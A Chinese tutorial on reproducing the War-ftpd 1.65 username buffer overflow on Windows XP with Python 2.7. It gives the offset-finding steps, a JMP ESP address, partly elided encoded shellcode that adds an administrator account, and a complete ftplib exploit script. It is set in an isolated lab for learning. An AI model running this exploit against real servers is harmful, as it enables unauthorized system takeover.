用Python 2.7复现经典漏洞：在Windows XP上手动触发War-ftpd 1.65缓冲区溢出并创建管理员账户-程序员充电站

在Windows XP环境中手动触发War-ftpd 1.65缓冲区溢出漏洞的完整实践指南

缓冲区溢出作为网络安全领域的经典漏洞类型，至今仍在各类系统中广泛存在。本文将带您深入Windows XP环境，通过Python 2.7复现War-ftpd 1.65的缓冲区溢出漏洞，并最终实现系统管理员账户的创建。整个过程不仅是一次技术演练，更是理解计算机底层运行机制的绝佳机会。

1. 实验环境搭建与准备

要成功复现这个经典漏洞，首先需要构建一个与漏洞匹配的实验环境。Windows XP SP3是最适合的运行平台，因为其内存管理机制和DEP保护策略相对宽松，便于我们观察漏洞利用的全过程。

所需工具清单：

Windows XP SP3虚拟机（推荐使用VirtualBox或VMware）
Python 2.7.18安装包
War-ftpd 1.65应用程序
OllyDbg调试工具（建议使用1.10版本）

环境配置的关键步骤：

虚拟机网络设置：将虚拟机网络模式设置为"仅主机(Host-only)"模式，确保实验环境与外部网络隔离
Python安装：在XP系统中安装Python 2.7时，务必勾选"Add python.exe to Path"选项

War-ftpd配置：

[War-ftpd] AutoStart=1 Port=21 MaxUsers=10

提示：实验前建议为虚拟机创建快照，方便多次尝试失败后快速恢复初始状态。

2. 漏洞原理深度解析

理解缓冲区溢出的工作机制是本次实验的核心价值所在。War-ftpd 1.65在处理FTP登录用户名时，使用了固定长度的字符数组作为缓冲区，但未对输入长度进行校验，这就为溢出创造了条件。

栈内存布局关键要素：

内存区域	存储内容	大小(字节)
缓冲区	用户输入的用户名	可变
EBP	栈基址指针	4
EIP	返回地址	4
ESP	栈顶指针	4

当用户名长度超过缓冲区大小时，多余的字符会依次覆盖EBP、EIP等关键数据。精心构造的输入可以将EIP覆盖为我们指定的地址，从而劫持程序执行流程。

典型的漏洞利用过程分为四个阶段：

确定偏移量：找到EIP在溢出数据中的确切位置
定位JMP ESP指令：在系统DLL中寻找这条关键指令的地址
构造Shellcode：编写实现特定功能的机器码
组合攻击载荷：将各部分按正确顺序拼接成最终的攻击字符串

3. 漏洞检测与偏移量定位

使用OllyDbg动态调试是确定漏洞细节的有效方法。启动War-ftpd后，我们需要发送特定模式的测试字符串来观察程序崩溃时的寄存器状态。

偏移量定位步骤：

首轮测试发送500个'A'字符：
```
from ftplib import FTP ftp = FTP('127.0.0.1') ftp.login('A'*500, 'password')
```
观察OllyDbg中EIP值变为0x41414141，确认溢出发生

使用模式字符串精确定位：

pattern = "Aa0Aa1Aa2Aa3Aa4..." # 使用Metasploit的pattern_create生成 ftp.login(pattern, 'password')

记录崩溃时的EIP值，通过pattern_offset计算精确偏移

验证偏移量：

test_payload = 'A'*485 + 'BBBB' + 'C'*100 ftp.login(test_payload, 'password')

确认EIP被成功覆盖为0x42424242

通过上述步骤，我们确定EIP的偏移量为485字节，这意味着攻击字符串的前485个字节将用于填充缓冲区。

4. Shellcode构造与攻击实施

Shellcode是实现实际攻击效果的机器码。在本实验中，我们需要构造能够创建管理员账户的特殊Shellcode。

账户创建Shellcode关键功能：

调用NetUserAdd API添加新用户
调用NetLocalGroupAddMembers将用户加入管理员组
处理Windows API的参数传递和调用约定

为避免坏字符问题，我们采用编码后的Shellcode：

shellcode = ( "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x51\x5a\x6a\x4a" # ... 省略部分shellcode ... "\x70\x46\x4f\x30\x41\x30\x44\x30\x44\x43\x30\x4a" )

最终的攻击载荷结构：

485个'A'填充缓冲区
JMP ESP指令地址（0x7FFA4512）
4个NOP指令（\x90）作为滑行区
编码后的Shellcode

完整攻击代码示例：

from ftplib import FTP buffer = 'A' * 485 buffer += '\x12\x45\xfa\x7f' # JMP ESP地址 buffer += '\x90' * 4 # NOP滑行区 buffer += shellcode # 添加Shellcode ftp = FTP('127.0.0.1') try: ftp.login(buffer, 'www') except: pass # 预期中的连接中断

成功执行后，您可以在控制面板的用户账户管理中看到新创建的管理员账户，这证明我们的漏洞利用完全成功。